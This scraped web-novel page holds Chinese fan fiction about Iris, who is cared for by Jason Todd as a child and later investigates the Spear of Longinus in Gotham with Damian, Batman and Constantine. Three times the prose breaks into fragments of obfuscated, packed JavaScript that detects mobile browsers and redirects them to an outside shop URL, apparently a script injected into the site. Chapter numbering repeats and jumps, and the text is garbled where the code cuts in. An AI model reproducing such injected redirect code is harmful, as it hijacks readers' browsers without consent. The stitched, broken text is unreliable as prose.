“你三岁了,”杰森说,“还要人抱?” “嗯。” “为什么?” 艾瑞斯想了想。 “想你抱抱。” 杰森:“……” 他看着那张认真的小脸,看了一秒,两秒,三秒。 然后他叹了口气,弯腰把她抱起来。 艾瑞斯搂着他的脖子,把脸埋在他肩膀上。 “好高。”她说。 “是你太矮。” “你高。” “废话,我已经长大了。” 艾瑞斯没说话,只是在他肩膀上蹭了蹭,找了个舒服的位置。 杰森抱着她站在院子里,忽然觉得自己像个傻子。 但他没把她放下来。 4. 那天下午,杰森心血来潮。 艾瑞斯坐在沙发上,头发乱糟糟的,像个小狮子。她刚从午睡中醒来,头发更是乱上加乱,几撮翘着,几撮打着结。 杰森路过客厅,看了一眼,又退回来。 “你头发怎么这样?” 艾瑞斯摸摸自己的头。 “睡觉睡的。” “你没梳过?” 艾瑞斯摇头。 “阿福早上给我梳,”她说,“下午我自己不会。” 杰森站在那儿,看着那团乱糟糟的头发。 三秒后,他做出了一个他自己都没想到的决定。 “过来。” 艾瑞斯从沙发上滑下来,走到他面前。 杰森拉着她走进浴室,从架子上拿了一把梳子。 “坐下。” 艾瑞斯坐在小板凳上,仰头看他。 “杰森要给我梳头?” “嗯。” “为什么?” 杰森顿了一下。 “……想梳就梳,哪来那么多为什么。” 艾瑞斯没再问。 她乖乖地坐着,看着镜子里的杰森。 杰森低头看着那团乱糟糟的头发,忽然有点后悔。 这玩意要怎么弄? 他拿着梳子,小心翼翼地伸向那撮翘得最高的头发。 梳子卡住了。 “疼吗?”他问。 “不疼。” 杰森松了口气,慢慢把梳子往下拉。 打结的地方有点多。他放慢动作,一点一点地梳。 艾瑞斯一动不动,乖得不像话。 5. 梳了大概五分钟,头发总算顺了。 杰森看着镜子里那颗小脑袋,忽然想起什么。 “你会扎辫子吗?” 艾瑞斯摇头。 “我不会。” 杰森想了想。 他也不会。 但他想试试。 他从架子上拿了一根皮筋,把那撮头发分成三股。 编辫子。他见迪克编过。应该不难。 第一股压第二股,第三股压第一股…… 好像不太对。 他拆了重新来。 第二股压第一股,第三股压第二股…… 还是不对。 艾瑞斯看着镜子里的杰森,看他皱着眉跟那几撮头发较劲。 “杰森。” “嗯?” “你也不会。” “……我会。就是有点生疏。” 艾瑞斯没说话。 但她在镜子里笑了。 杰森看到那个笑,愣了一下。 一个暖暖的笑,眯起来的眼睛,亮晶晶的。 他忽然觉得,这样也不错。 6. 最后那个辫子编得歪歪扭扭,一边紧一边松,还翘着一小撮没编进去的头发。 杰森看着自己的作品,沉默了三秒。 “……还行。” 艾瑞斯伸手摸了摸辫子。 “好看。”她说。 “真的?” “嗯。”艾瑞斯点头,“以后再帮我编辫子吧。” 杰森看着镜子里那张认真的小脸,忽然不知道该说什么。 艾瑞斯站起来,踮起脚,在镜子前左看看右看看。 辫子歪着,翘着,丑得很。 但她好像真的很满意。 “我要给阿福看。”她说,啪嗒啪嗒地跑出去。 杰森站在原地,看着那个小小的背影消失在门口。 手里还拿着那把梳子。 7. 那天晚上,阿福看到那个歪歪扭扭的辫子,微微愣了一下。 然后他弯下腰,认真地看着。 “很可爱。”他说。 艾瑞斯点点头,骄傲得很。 “杰森编的。” 阿福抬起头,看了杰森一眼。 杰森站在旁边,假装在看窗外。 阿福的嘴角弯了一下。 “杰森少爷手艺不错。”他说。 杰森没回头,但耳朵有点红。 8. 后来杰森发现,艾瑞斯很喜欢让人给她梳头。 尤其是他。 每次她头发乱了,就会跑到他面前,把梳子塞给他。 “杰森,梳头。” 杰森有时候想拒绝。 但看着她那双蓝眼睛,他就说不出“不”字。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244861|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于是他学会了扎辫子。 学会了编麻花辫,学会了扎马尾,学会了把那撮总是翘着的头发服帖地按下去。 他的手很大,她头发很软。 他动作很轻,她一动不动。 梳子从上到下,一遍一遍。 她会闭上眼睛,靠在他腿上,像只晒太阳的猫。 9. 有一次,迪克路过,看到杰森在给艾瑞斯梳头。 他站在门口,看了三秒。 “杰森,”他说,“你什么时候学会这个的?” 杰森头都没抬。 “学的。” 迪克走进来,看着镜子里那个安静的小女孩。 “她喜欢你给她梳头。” 杰森没说话。 艾瑞斯睁开眼睛,从镜子里看着迪克。 “杰森梳得很棒。”她说。 迪克笑了。 “那我呢?”他问,“要我给你梳吗?” 艾瑞斯想了想。 “不用了。” “让我给你梳一次?” 艾瑞斯摇头。 “要杰森。” 迪克捂着胸口,做出受伤的表情。 “为什么?” 艾瑞斯歪着头想了想。 “这是我给杰森和阿福的特权。” 杰森的手顿了一下。 迪克看着他的反应,笑了笑,没再说什么,转身走了。 10. 房间里很安静。 杰森继续梳头。 过了一会儿。 “艾瑞斯。” “嗯?” “你为什么要给我特权呢?” 艾瑞斯想了想。 “因为我喜欢你啊。” 杰森没说话。 “你帮我梳头。”艾瑞斯继续说,“你抱我。你在我的身边,哥哥。” 杰森看着镜子里那张认真的小脸。 他想起自己以前的生活。 犯罪巷。没人陪。没人抱。没人在旁边。 他从来没当过谁的哥哥。 但现在有一个三岁的小孩,坐在小板凳上,等着他梳头。 说他是她哥哥。 他低下头,继续梳。 动作比刚才更轻。 11. 那天晚上,杰森躺在床上,盯着天花板。 他想起白天的事。 想起那个歪歪扭扭的辫子,想起那句“哥哥”,想起她靠在他胳膊上的感觉。 软软的,暖暖的,一小团。 他翻了个身。 枕头边放着一只旧泰迪熊。 艾瑞斯送他的。 她说:“杰瑞可以陪你睡觉。” 他留下了。 他把熊拿起来,看了一眼。 眼睛松了一颗,歪着,还是很丑。 他把它放回枕头边,闭上眼睛。 12. 第二天早上,杰森起床的时候,发现床边站着一个小不点。 “杰森。” “……你怎么进来的?” “门没关。” 杰森揉了揉眼睛。 艾瑞斯站在那儿,手里拿着一把梳子。 “梳头。” 杰森看着那把梳子,看着那双亮晶晶的蓝眼睛,看着那张缺了一颗门牙的笑脸。 他叹了口气。 “过来。” 艾瑞斯爬上他的床,在他旁边坐下。 杰森接过梳子,开始梳。 晨光从窗帘缝隙里漏进来,落在她乱糟糟的头发上。 他想:这小孩真的很烦人。 但他嘴角弯了一下。 13. 杰森还是会想起那些早晨。 一个三岁的小孩,坐在他床边,等着他梳头。 软软的,暖暖的,一小团。 像荧光一样。 虽然小,但在那些灰扑扑的日子里,一直亮着。 11. 新生活3 1. 艾瑞斯被空运去往哥谭。 直升机穿过云层的时候,她往下看了一眼。灰扑扑的城市在下方铺开,像一块旧地毯。高楼,矮楼,烟囱,河,桥。她认得那条河,认得那些桥,认得那个方向——韦恩大宅的方向。 直升机上只有她一人。 她移开视线。 托尼的原话是:“我托尼·斯塔克的人,怎么能跟货物挤一起?要舒服的,要漂亮的,要——” “够了。”艾瑞斯当时打断他。 托尼看了她一眼,笑了。 “我不唠叨了,小姐。” 所以她现在坐在一张真皮座椅上,面前摆着一杯温度刚好的咖啡,窗外的哥谭越来越近。 纽约在她脑子里叨叨:【你看看你看看,这就是我的人!出个差都这待遇!那个灰扑扑的地方能比吗?】 哥谭沉默。 【喂,你怎么不说话?】 【……到了再说。】哥谭的声音很低,像是压抑着什么。 艾瑞斯没理它们。 她低头看了看自己。 短款风衣,黑色,收腰,领口别着一枚小小的鸢尾花胸针。里面是白色内搭,下面配着黑色长裤和短靴。头发被剪成了齐刘海,长度到肩膀,整整齐齐的。 托尼让人打理的。 她反抗过。 没用。 “你代表的是我斯塔克工业的形象!”托尼当时义正言辞,“不能让人说我们派出去的人灰头土脸的!” 艾瑞斯想说她平时也不灰头土脸。 但她没说。 因为托尼已经叫来了一个造型团队。 三天后,她就变成了现在这样。 纽约很满意:【好看!像娃娃一样!就应该这样!这才是天使该有的样子!】 艾瑞斯没理它。 她只是低头看了一眼自己的手。 指甲修剪整齐。食指和大拇指内侧有厚茧——长期骑车和干活留下的。皮肤上有几处烫伤,不明显,但仔细看能看出来,是咖啡店打工时溅的热牛奶。 2. 直升机降落在哥谭郊区的一个停机坪。 艾瑞斯拎起简单的行李,走下舷梯。 风很大。哥谭的风和纽约不一样,带着一股潮湿的凉意,像是从河面上直接刮过来的。 停机坪边上站着一个人。 男孩。 大概十四岁,黑色头发,绿色眼睛,穿着一件黑色的夹克。他站得笔直,双手插在口袋里,表情很不耐烦。 艾瑞斯走过去。 男孩抬起头。 他的视线从她脸上移到她头顶,又从头顶移到她脸上。 那个表情—— 艾瑞斯见过这种表情。 她在镜子里见过。 冒犯时的表情。 3. “我是罗宾。” 语气硬邦邦的,像是在完成某个不情愿的任务。 他打量着她。从头到脚,又从脚到头。 178。 艾瑞斯看到他的目光在她头顶停了一秒。 ? “艾瑞斯,”她说,“斯塔克先生特派。” 她伸出手。 那只手悬在半空中,等着被握住。 达米安低头看了一眼。 虎口有茧。食指内侧有茧。手背上有几处浅浅的烫伤疤痕。 他皱了一下眉。 但他没有伸手。 艾瑞斯等了三秒,把手收回来。 也不生气。 “行程安排呢?”她问。 达米安冷哼了一声,转身就走。 “跟上。” 艾瑞斯拎起行李,跟上去。 4. 住处在哥谭东区,一栋不起眼的公寓楼里。 达米安把她带到门口,递给她一把钥匙。 “三楼,302。冰箱里有吃的,武器在床底下的暗格里,有事按这个。” 他指了指门边的按钮。 “会有人来?” “会。” 艾瑞斯点点头。 达米安站在那儿,没有要走的意思。 艾瑞斯看着他。 “还有事?” 达米安的眉头皱得更紧了。 “你……”他顿了一下,“你多高?” 艾瑞斯眨眨眼。 “178。” 达米安的表情肉眼可见地扭曲了一下。 “……这不对。” “什么不对?” “你才17岁。” “嗯。” “178?” “嗯。” 达米安沉默了。 艾瑞斯看着他。 她想起很久以前——另一个世界线里——这个男孩也曾经在意过身高。那时候他十岁,比她大一点,但没她高。现在他十四岁,还是没她高。 有些东西真的不会变。 “你吃什么长大的?”达米安问。 艾瑞斯想了想。 “牛奶。” 达米安的表情更扭曲了。 他深吸一口气,转身就走。 “明天早上七点,楼下等。正义联盟报道。” 他的背影消失在楼梯口。 艾瑞斯站在原地,看着那个方向。 纽约在她脑子里笑疯了:【哈哈哈哈他是不是被身高刺激了?那个表情哈哈哈哈——】 哥谭的声音很低:【……他小时候也这样。】 艾瑞斯没说话。 她推开门,走进临时住处。 5. 一室一厅,厨房卫生间都有。装修很简单,但该有的都有。冰箱里确实有吃的——牛奶、面包、鸡蛋、几盒速食。床底下的暗格里也确实有武器——两把手枪,一把匕首,几盒子弹。 艾瑞斯关上暗格。 她不需要这些,但还是老实装上了。 6. 晚上九点,艾瑞斯出门。 白天踩过点了。魔兽的主要活动区域在东区靠近码头的地方,离安全屋不远。她穿上黑色的冲锋衣,把头发塞进帽子里,戴上口罩。 出门前,她摸了摸夹克内袋。 那只旧鳄鱼挂件还在。 她把它拿出来,看了一秒,又塞回去。 7. 码头区很安静。 太安静了。 艾瑞斯走在集装箱之间,脚步很轻。月光被云遮住,四周暗得只能看清轮廓。 纽约在脑子里小声说:【小心点,我感觉不对劲。】 哥谭没说话。 但艾瑞斯能感觉到它的存在——那种沉沉的、压着的关注,像一层看不见的膜,覆盖着整座城市。 她绕过一堆集装箱,停下来。 地上有痕迹。 像是烧灼过的痕迹,黑色的,从集装箱底部延伸到远处的阴影里。边缘有焦糊的味道,很淡,但确实有。 艾瑞斯蹲下来,用手指碰了碰。 还热着。 她站起来,看向那片阴影。 沉默。 三秒后,阴影里传来一阵窸窣声。 一个东西爬出来。 不大。大概有半人高,四肢着地,形状像某种扭曲的猫科动物。它的皮肤是灰黑色的,眼睛在黑暗中泛着幽幽的绿光。 艾瑞斯看着它。 它看着艾瑞斯。 对峙了三秒。 魔兽忽然转身,跑了。 艾瑞斯没追。 她站在原地,看着那个背影消失在集装箱深处。 【不追?】纽约问。 【不追。】 【为什么?】 【看着有点眼熟。】艾瑞斯说,【而且追了也没用。】 她蹲下来,拿出手机,对着地上的痕迹拍了几张照片。 然后又拍了周围的环境。 收工。 6. 第二天早上七点,艾瑞斯准时下楼。 达米安已经等在楼下了。 他换了一身衣服,但还是黑色。看到艾瑞斯的时候,他下意识地抬头——然后又移开视线。 艾瑞斯假装没注意到。 “正义联盟大楼,”他说,“知道路吗?” “不知道。” “那跟上。” 他转身就走。 艾瑞斯跟上去。 7. 正义联盟的大楼在哥谭市中心,靠近韦恩集团的那一侧。 艾瑞斯站在门口,看着那栋建筑。 达米安回头看她。 “愣着干嘛?” 艾瑞斯收回视线。 “没什么。” 她走进去。 7. 会议室在十二楼。 艾瑞斯被带进去的时候,里面已经坐了几个人。 蝙蝠侠。超人。神奇女侠。 还有几个她不认识的——可能是联盟的其他成员。 达米安把她带到门口,自己站在一边。 蝙蝠侠抬起头。 那双眼睛从面具后面看过来,平静,锐利,不带任何情绪。 艾瑞斯迎上那道目光。 然后她移开视线。 “艾瑞斯,”她开口,声音很平静,“斯塔克工业特派,魔兽事件联络员。” 蝙蝠侠点了点头。 “坐。” 艾瑞斯找了个空位坐下。 8. 汇报进行了大概半个小时。 艾瑞斯把昨晚拍的照片拿出来,投在屏幕上。她描述了那个魔兽的样子,它的行动轨迹,还有地上的烧灼痕迹。 “体型不大,半人高,四肢着地,类似猫科动物。皮肤灰黑色,眼睛泛绿光。有热源反应——地上痕迹的温度比周围高。现在暂时不具备攻击力,以魔力形态降临。” 艾瑞斯在纽约被好一顿恶补当地魔法体系。 蝙蝠侠盯着屏幕。 “你靠近了?” “靠近了。” “多近?” “三米。” 蝙蝠侠没说话。 超人在旁边开口了:“那东西没攻击你?” 艾瑞斯看了他一眼。 蓝眼睛,红披风,那张脸比电视上更……慈祥? “没有。”她说,“它看了我三秒,然后跑了。” 超人点点头,若有所思。 神奇女侠开口:“你觉得它是怕你,还是只是不想冲突?” 艾瑞斯想了想。 “不知道。” 房间里沉默了几秒。 蝙蝠侠又问了几个问题。艾瑞斯一一回答。 汇报结束。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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达米安走过来,低头看了看她面前的地面。 又是烧灼痕迹。 “你每天都来?” “嗯。” “有什么发现?” 艾瑞斯沉默了一秒。 “它们越来越多。”她说,“而且越来越大胆。” 达米安皱起眉。 “你一个人不安全。” 艾瑞斯看着他。 “那你陪我?” 达米安愣了一下。 然后他冷哼一声。 “谁要陪你。” 但他没走。 他们一起在码头区转了一圈,又发现了两处痕迹。 分开的时候,达米安看了她一眼。 “明天这个时候,我还会来。”他说。 然后他走了。 艾瑞斯站在原地,看着他的背影。 纽约在她脑子里小声说:【他是不是……在担心你?】 艾瑞斯没回答。 但她嘴角弯了一下。 12. 第七天,艾瑞斯再次去正义联盟汇报。 这次人更多了。 蝙蝠侠、超人、神奇女侠都在,还多了闪电侠和绿灯侠。 她把照片投在屏幕上。 “七天,二十三处痕迹。分布范围从码头区扩展到东区、南区,甚至靠近市中心。大小从半米到两米不等。行为模式一致——夜间活动,回避人类,没有主动攻击记录。” 蝙蝠侠盯着地图。 “它们为什么越来越多?” “不知道。” “它们从哪里来?” “不知道。” “它们想要什么?” 艾瑞斯沉默了一下。 “这个,”她说,“我也不知道。” 蝙蝠侠看着她。 那双眼睛很锐利。 艾瑞斯迎上那道目光。 “但我知道一件事,”她说,“它们不怕人类。但它们在怕什么东西,而且那东西还想不见了,最近有实体化征兆。” “什么东西?” 艾瑞斯想了想。 “朗基努斯之枪。” …… 13. 汇报结束后,艾瑞斯走出大楼。 天已经黑了。 达米安站在门口,像是在等人。 “今晚还去?” “去。” “一起。” 艾瑞斯看着他。 达米安别过脸。 “不是我担心你,”他说,“是联盟要求合作调查。” “哦。” “就是合作。” “嗯。” 达米安皱起眉。 “你信不信?” 艾瑞斯想了想。 “信。” 达米安松了口气。 “走吧。” 他们一起走进夜色。 纽约在艾瑞斯脑子里轻轻笑了一声。 【他挺可爱的。】它说。 哥谭沉默着。 但艾瑞斯能感觉到,它在看着他们。 14. 老实说艾瑞斯误入这个世界也是因为这把枪。 艾瑞斯只感觉这把枪还真是携带着厄运,不过艾瑞斯倒是有了些方向。 康斯坦丁。 12. 新生活4 15. 汇报结束后,艾瑞斯离开。 晚上10点,蝙蝠侠出现在她的住所。 蝙蝠侠的目光还停留在她身上,像一束探照灯,沉沉的,压着。 “朗基努斯之枪。”他重复了一遍这个词,“你怎么知道这个名字?你没有信仰,却能得出这个结果。” 艾瑞斯迎上那道目光。 “我始终信仰着祂。” “谁?” “…不重要。” 蝙蝠侠没说话。他身后的大屏幕上还投着她拍的那些照片,焦黑的痕迹在灯光下格外刺眼。 超人开口打圆场:“也许我们可以先关注眼前的问题——如果那把枪真的在哥谭,我们需要尽快找到它。” “它在哥谭。”艾瑞斯说。 她只是垂下眼睛,看着自己的手。 食指和大拇指内侧的厚茧。手背上的烫伤疤痕。指甲修剪得整整齐齐。 这不是她的手。 她的双手曾经握过那把枪,然后被侵蚀。 很久以前。 16. 【别说了。】哥谭的声音在她脑子里响起,低沉,带着一种保护的意味,【到此为止。】 艾瑞斯没理它。 她抬起头,看着蝙蝠侠。 “我知道的暂时就这些,”她说,“找到它之前,我回去帮手。” “谁?” “康斯坦丁。” 17. 康斯坦丁住在地狱神探事务所。 说是事务所,其实就是一栋老旧的公寓楼里的一个房间。门口挂着块歪歪扭扭的牌子,上面用马克笔写着“咨询请进”,旁边画着一个潦草的驱魔符号。 艾瑞斯站在门口,敲了三下。 没人应。 她又敲了三下。 门从里面被拽开。 一个穿风衣的男人站在门口,头发乱糟糟的,脸上带着那种“刚睡醒但不想承认”的表情。他手里夹着一根烟,烟雾缭绕中眯着眼睛打量她。 “斯塔克的人?”他问。 “艾瑞斯。” 康斯坦丁点点头,侧身让开。 “进来吧。” 18. 房间里比外面看起来更乱。 书堆得到处都是,烟灰缸里塞满了烟蒂,沙发上扔着几件脏衣服。康斯坦丁随手把衣服拨到一边,示意她坐。 艾瑞斯没坐。 她站在窗边,看着外面的哥谭。 康斯坦丁靠在墙上,抽着烟,也不催。 沉默了好一会儿。 “你知道玛门的事吗?”康斯坦丁忽然问。 艾瑞斯转过头。 “玛门?” “地狱王子。路西法的儿子。”康斯坦丁吐出一口烟,“前段时间有人想把他召唤到人间,搞了个大阵仗。” 艾瑞斯听着。 “那家伙走的时候挺不甘心的,”康斯坦丁继续说,“放话说还会回来。” 他顿了顿,看着艾瑞斯。 “你来的时机,不太巧。” 艾瑞斯没说话。 康斯坦丁抽完最后一口烟,把烟蒂按进烟灰缸。 “说吧,找我什么事。” “朗基努斯之枪。” 康斯坦丁的动作顿了一下。 他抬起头,看着艾瑞斯。那双眼睛里刚才的懒散消失了,换上了一种锐利的东西。 “你知道那是什么吗?” “知道。” “知道还找?” 艾瑞斯看着他。 “最近的魔兽与它有关。” 康斯坦丁盯着她看了三秒。 然后他笑了。 笑得很轻,带着一种“果然如此”的意味。 “你是什么人?”他问。 艾瑞斯没有回答。 但康斯坦丁已经不在意了。 他站起来,从一堆乱七八糟的书里翻出一个笔记本,扔给她。 “这是我这几年收集的资料。关于圣遗物的,关于地狱裂缝的,关于那些不该出现在人间的东西。”他说,“你要找的那把枪,我怀疑它已经不在原来的位置了。” 艾瑞斯翻开笔记本。 密密麻麻的字迹,手绘的符号,照片,报纸剪贴。其中一页上画着一把长枪的草图,旁边标注着几个地点:耶路撒冷、罗马、伦敦……最后一个是哥谭,打了个问号。 “它移动过?”她问。 “不止移动过。”康斯坦丁点起另一根烟,“我怀疑它一直在找什么。” 他看着她。 “或者说,一直在找谁。” 18. 那天晚上,艾瑞斯没有去码头区。 她坐在临时住处的地板上,面前摊着康斯坦丁的笔记本,一页一页地翻。 窗外偶尔有警笛声划过,很远。 纽约的声音很轻:【你还好吗?】 【嗯。】 【那个笔记本……】 【是线索。】 纽约沉默了一下。 哥谭开口:【康斯坦丁这个人,不可全信。】 艾瑞斯翻页的手顿了一下。 【我知道。】 【他知道你是谁吗?】 【他猜到了一些。】艾瑞斯说,【但他没问。】 哥谭没再说话。 但艾瑞斯能感觉到它的不安。 那种沉沉的、压着的不安,像哥谭夜里永远散不尽的雾气。 19. 笔记本翻到最后一页的时候,艾瑞斯停住了。 那一页上画着一个符号。 很简单的符号。一个圆,中间一道竖线,贯穿上下。 朗基努斯之枪的符号。 旁边用潦草的字迹写着:地狱裂缝?玛门? 艾瑞斯盯着那个符号,看了很久。 她想起很久以前的事。 另一个世界。另一把枪。 她握着那把枪,逃离了那个地方。 路西法的声音还在耳边:【你会感激我的…】 她来到了这里。 19. 【艾瑞斯。】哥谭的声音响起,【你在想什么?】 她合上笔记本。 第二天,艾瑞斯没有去学校。 她请了假,说是身体不舒服。实际上,她一早就去了康斯坦丁的事务所。 康斯坦丁已经在等她了。 他今天看起来比昨天精神一点——或者说,比昨天更像个活人。胡子刮了,头发梳了,换了一件还算干净的风衣。 “走吧,”他说,“带你去个地方。” “哪里?” “哥谭公墓。” 20. 公墓在东区边缘,靠近河岸的地方。 艾瑞斯跟着康斯坦丁穿过一排排墓碑,最后停在一座很旧的墓前。墓碑上的字迹已经模糊了,看不清刻的是什么。 康斯坦丁蹲下来,从口袋里掏出一个打火机,点了一根烟,放在墓碑前。 “这是我一个老朋友的墓。”他说,“驱魔师,死在这行当里。” 艾瑞斯站在旁边,没有说话。 “他死之前,告诉我一件事。”康斯坦丁站起来,“他说他感觉到了‘那个东西’——他是这么叫的。一把枪,或者一把枪的碎片,埋在某个地方。” “埋在哪儿?” “不知道。”康斯坦丁看着她,“但他说的感觉,和你身上的感觉有点像。” 艾瑞斯愣了一下。 康斯坦丁吐出一口烟。 “别紧张。我不是说你是那把枪。我是说,你身上有某种东西,和那把枪是同一类的东西。”他顿了顿,“来自同一个地方的东西。” 艾瑞斯沉默着。 风吹过墓地,卷起几片枯叶。 “你是从其他世界线来的,对不对?”康斯坦丁问。 不是疑问。 是陈述。 艾瑞斯看着他。 “你怎么知道?” “我见过不少从那边来的东西。”康斯坦丁说,“恶魔、天使、半死不活的玩意儿。你和它们都不一样——但你不是这的人。” 他把烟头踩灭,挖坟半天没有找到想要的东西。 “不过你放心,我不关心你是从哪来的。我关心的是,那把枪如果真在哥谭,会惹出多大的麻烦。” 他转身往回走。 “走吧,还有几个地方要跑。” 艾瑞斯跟上去。 21. 接下来的一周,艾瑞斯和康斯坦丁跑遍了哥谭。 废弃的教堂,地下的墓穴,老旧的图书馆,私人收藏家的仓库。康斯坦丁认识很多人,三教九流,什么人都有。他带着艾瑞斯一个一个拜访,问线索,查资料,翻旧物。 大多数时候一无所获。 但偶尔会有一些蛛丝马迹。 比如某个古董商说,几年前有人卖过一把奇怪的枪,买主戴着面具,看不出是谁。 比如某个老神父说,他小时候听过一个传说,圣枪的碎片被藏在某个地方,等待“那个人”来取。 比如某本旧书里夹着一张纸条,上面用拉丁文写着一行字:他将归来,以血洗净。 艾瑞斯把每一条线索都记下来。 晚上,她回住处整理资料。 白天,她继续和康斯坦丁跑。 达米安偶尔会出现在码头区,看到她不在,也不问,只是站在那儿等一会儿,然后离开。 22. 第七天晚上,艾瑞斯回到住处的时候,发现门口站着一个人。 蝙蝠侠。 他站在阴影里,几乎和夜色融为一体。 艾瑞斯停下脚步。 “有事?” “你最近和康斯坦丁走得很近。” 不是疑问。 艾瑞斯没说话。 蝙蝠侠从阴影里走出来,站在路灯的光里。那双眼睛从面具后面看着她,锐利,冷静,不带任何情绪。 “康斯坦丁不是可以信任的人。”他说。 “我知道。” “你知道还和他合作?” “我需要线索,”艾瑞斯说,“他有。” 蝙蝠侠沉默了一秒。 “什么线索?” 艾瑞斯看着他。 “朗基努斯之枪。” 那个名字让蝙蝠侠的眼睛微微眯了一下。 “那把枪——” “是真的。”艾瑞斯打断他,“它在找什么。或者找谁。我需要抢在它之前找到它。” 蝙蝠侠没说话。 他盯着她,看了很久。 艾瑞斯任由他看。 最后,蝙蝠侠开口了。 “你知道多少关于那把枪的事?” 艾瑞斯想了想。 “它打开了一条缝隙。” 蝙蝠侠沉默着。 然后他从怀里拿出一个东西。 一个信封。 “这是我这几天查到的。”他说,“关于哥谭近年来的异常能量波动,和康斯坦丁那些‘圣遗物’资料可能有重合的地方。” 艾瑞斯接过信封。 “为什么给我?” 蝙蝠侠看着她。 “因为我需要知道你在找什么。”他说,“以及,找到之后,你想做什么。” 艾瑞斯迎上那道目光。 “找到之后,”她说,“把它送回去。” “送回哪里?” 艾瑞斯没有回答。 蝙蝠侠等了三秒。 然后他转身,走进夜色。 “我会盯着你的。”他的声音从黑暗中传来。 艾瑞斯站在原地,看着那个方向。 纽约在她脑子里小声说:【他不信你。】 【嗯。】 【那你还收他的东西?】 艾瑞斯低头看着手里的信封。 “因为他也不信康斯坦丁。”她说,“但他信证据。” 22. 那天晚上,艾瑞斯没有睡。 她把蝙蝠侠给的资料和康斯坦丁的笔记本摊在地板上,一页一页 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244863|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对照。 凌晨三点的时候,她找到了一个重合点。 哥谭东区,废弃的圣玛丽教堂。 康斯坦丁的笔记里提到,那里曾经发生过一起驱魔事件,当事人声称看到了“一把燃烧的枪”。蝙蝠侠的资料里显示,同一地点在三个月前监测到过异常能量波动。 艾瑞斯看着那个地址。 圣玛丽教堂。 她去过那里。 很多年前。 23. 【艾瑞斯。】哥谭的声音响起,【你要去?】 【嗯。】 【现在?】 艾瑞斯看了一眼窗外。 天还黑着。 她站起来,拿起外套。 圣玛丽教堂在哥谭东区的边缘,靠近河岸的地方。 艾瑞斯到的时候,天边刚刚泛起一点鱼肚白。教堂的尖顶在晨雾中若隐若现,像一座沉默的墓碑。 她推开锈迹斑斑的铁门,走进去。 教堂里很暗,很静。长椅东倒西歪,圣像被蒙上了白布,彩绘玻璃窗碎了大半,地上散落着碎玻璃和枯叶。 艾瑞斯站在过道上,环顾四周。 没有什么异常。 但她能感觉到什么。 一种很轻的、若有若无的……存在感。 她闭上眼睛。 然后她听到了一个声音。 很轻,很远,像从地底传来的回响。 [回到你的家园。] 她猛地睁开眼睛。 没有人。 教堂里还是空荡荡的,只有晨光从破窗里漏进来,在地上铺出几道淡淡的光。 但那个声音还在。 [回来。] 艾瑞斯站在原地,一动不动。 【你听到了?】她问。 纽约的声音很紧:【听到了。那是什么?】 哥谭沉默着。 但艾瑞斯知道它也在听。 24. 艾瑞斯在教堂里站了很久。 直到阳光完全照亮了那些破败的长椅,她才转身离开。 走出教堂的时候,她看到门口站着一个人。 康斯坦丁。手里还拿着把纯长枪。 他靠在门框上,抽着烟。 “就知道你会来。”他说。 艾瑞斯看着他。 “你也听到了?” 康斯坦丁点点头。 “那把枪在叫。”他说,“它也在叫你。” 艾瑞斯没说话。 康斯坦丁吐出一口烟。 “你知道吗,我得了肺癌。”他说,语气很平淡,像在说今天的天气,“晚期,没救了。” 艾瑞斯愣了一下。 “然后呢?” 康斯坦丁笑了一下,“地狱之主救了我。” 艾瑞斯看着他。 康斯坦丁也看着她。 “你知道他为什么治我吗?” 艾瑞斯没说话。 “因为他想让我带句话给你。” 康斯坦丁把烟头扔在地上,踩灭。 “他说:‘代路西法告诉她,那把枪是她的。她逃不掉的。’” 24. 风从河面上吹过来,带着潮湿的凉意。 艾瑞斯站在教堂门口,看着康斯坦丁。 沉默了很久。 “他知道我在这儿?” “不清楚。” 艾瑞斯垂下眼睛。 她想起路西法的声音。想起他说过的那些话。想起自己握着那把枪逃离时的感觉。 25. 那天上午,艾瑞斯和康斯坦丁一起回到了住处。 他们把所有的线索又过了一遍。 蝙蝠侠的资料,康斯坦丁的笔记,教堂里的那个声音,路西法的口信。 最后,康斯坦丁在地图上画了一个圈。 哥谭东区,码头附近的一块荒地。 “这里。”他说,“所有线索都指向这里。” 艾瑞斯看着那个圈。 那块荒地她去过。码头区边缘,废弃的仓库,生锈的集装箱,杂草丛生的空地。 “什么时候去?” “今晚。”康斯坦丁说,“这种事,越早越好。” 艾瑞斯点点头。 26. 晚上九点,艾瑞斯出门。 康斯坦丁已经等在楼下了。 他今天没抽烟,站在路灯下,脸色比平时严肃。 “走吧。” 他们一起往码头区走去。 路过一个街角的时候,艾瑞斯看到一个熟悉的身影。 达米安。 他站在巷子口,双手插在口袋里,表情一如既往地不耐烦。 “你怎么在这儿?” “巡逻。”达米安说,“顺便看看某个人有没有把自己作死。” 艾瑞斯看着他。 达米安别过脸。 “不是我担心你,”他说,“是联盟让我盯着。” 康斯坦丁在旁边笑了一声。 “小罗宾,你这借口找得真烂。” 达米安瞪了他一眼。 艾瑞斯嘴角弯了一下。 “一起吧。”她说。 27. 三个人穿过码头区,走向那块荒地。 月光很淡,被云遮住大半。四周很安静,只有远处偶尔传来几声狗叫。 那块荒地越来越近。 